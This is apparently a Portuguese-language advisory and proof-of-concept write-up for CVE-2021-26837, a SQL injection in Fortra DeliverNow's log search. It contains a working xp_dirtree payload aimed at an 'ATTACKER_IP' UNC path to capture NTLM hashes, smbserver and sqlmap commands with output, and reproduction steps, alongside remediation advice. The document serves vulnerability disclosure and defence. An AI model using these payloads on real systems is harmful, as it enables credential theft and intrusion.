CVE-2021-26837

Injeção de SQL no HelpSystems / Fortra DeliverNow

O parâmetro SearchTextbox na página de pesquisa de logs do DeliverNow (/LogGrid.aspx) é concatenado diretamente em uma consulta do SQL Server, sem parametrização e sem validação no servidor. O aplicativo também exibia os erros de análise do SQL Server resultantes de volta ao usuário, e foi assim que o bug se manifestou em primeiro lugar.

A conexão com o banco de dados era executada como sa, portanto a injeção herdou direitos totais de sysadmin na instância. Isso foi suficiente para chamar master.dbo.xp_dirtree contra um caminho UNC controlado pelo atacante e forçar a conta de serviço do SQL Server a se autenticar de saída (outbound).

Encontrado durante um teste de penetração interno. Corrigido pelo fornecedor no DeliverNow 1.2.18 e publicado como CVE-2021-26837.

Descoberto e reportado por Sedric Louissaint da Show Up Show Out Security.

Resumo

Descrição do NVD:

Vulnerabilidade de injeção de SQL no parâmetro SearchTextBox no Fortra (anteriormente HelpSystems) DeliverNow antes da versão 1.2.18, permite que atacantes executem código arbitrário, elevem privilégios e obtenham informações sensíveis.

Detalhe técnico

Ponto de injeção

POST /LogGrid.aspx, parâmetro do corpo SearchTextbox. O formulário é o controle de pesquisa na visão Log do aplicativo. ddlFieldName seleciona a coluna a ser pesquisada (Description nas solicitações abaixo) e SearchTextbox transporta o termo.

Uma aspa simples é suficiente para comprovar:

blah'

A resposta exibe o erro de análise do SQL Server diretamente na página:

Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Essa divulgação de erro é uma descoberta por si só. Ela converte o que seria uma injeção cega em uma totalmente interativa.

Confirmação fora de banda via xp_dirtree

Como a conexão é executada como sa, master.dbo.xp_dirtree é acessível. Apontá-lo para um caminho UNC em um host que você controla faz a conta de serviço do SQL Server autenticar-se de saída (outbound) nesse host via SMB:

123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Solicitação completa em poc/exploited-request.http, payloads em poc/payloads.sql.

Autenticação capturada

Com o smbserver.py do Impacket escutando, a conta de serviço do SQL Server do alvo se autentica e vaza um hash NTLMv2:

[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

O hash fica então disponível para quebra offline ou para relay NTLM para outro host.

Contexto de privilégio

O sqlmap confirma a injeção e o nível de privilégio:

back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa significa que todos os hashes de login da instância são legíveis, e xp_cmdshell está a uma chamada sp_configure da execução de comandos no host.

Reprodução

Contra uma instância de laboratório que você possua ou esteja autorizado a testar:

1. Acesse a interface web do DeliverNow (padrão http://<host>:1080/) e abra Log.
2. Digite blah' na caixa de pesquisa e envie. Uma compilação vulnerável exibe o erro de análise do SQL Server na página.
3. Inicie um listener em um host que o alvo consiga alcançar:
   root@kitploit:~

   sudo smbserver.py c . -smb2support
   

4. Envie o payload xp_dirtree de poc/payloads.sql com seu próprio IP substituído. Uma compilação vulnerável produz uma autenticação SMB de entrada da conta de serviço do SQL Server.
5. Opcionalmente, confirme com o sqlmap usando a solicitação salva:
   root@kitploit:~

   sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
   

Conteúdo do repositório

poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Hosts e hashes nas capturas são do engajamento original e estão desatualizados. Substitua o endereço do seu próprio listener ao reproduzir.

Remediação

1. Use consultas parametrizadas / prepared statements para toda consulta construída a partir de entrada do usuário. Esta é a correção real. Todo o resto é defesa em profundidade.
2. Valide e sanitize no lado do servidor. O corpo do POST é totalmente controlado pelo atacante, independentemente do que o formulário no lado do cliente permite.
3. Pare de conectar como sa. O aplicativo precisa de acesso de leitura e gravação às suas próprias tabelas. Ele não precisa de sysadmin e não precisa de xp_dirtree. O privilégio mínimo não teria impedido a injeção, mas a teria contido.
4. Não exiba erros do banco de dados para os usuários. Registre-os no lado do servidor e retorne uma mensagem genérica.
5. Restrinja o SMB de saída dos servidores de banco de dados no limite da rede, o que remove o canal fora de banda usado aqui.

Corrigido pelo fornecedor no DeliverNow 1.2.18. Atualize.

Linha do tempo

Artigos

• Conta pessoal: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
• Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Aviso legal

Publicado após a correção pelo fornecedor, para uso defensivo e educacional. Os payloads aqui visam uma versão corrigida há anos. Não os execute contra sistemas que você não possua ou para os quais não tenha autorização escrita para testar.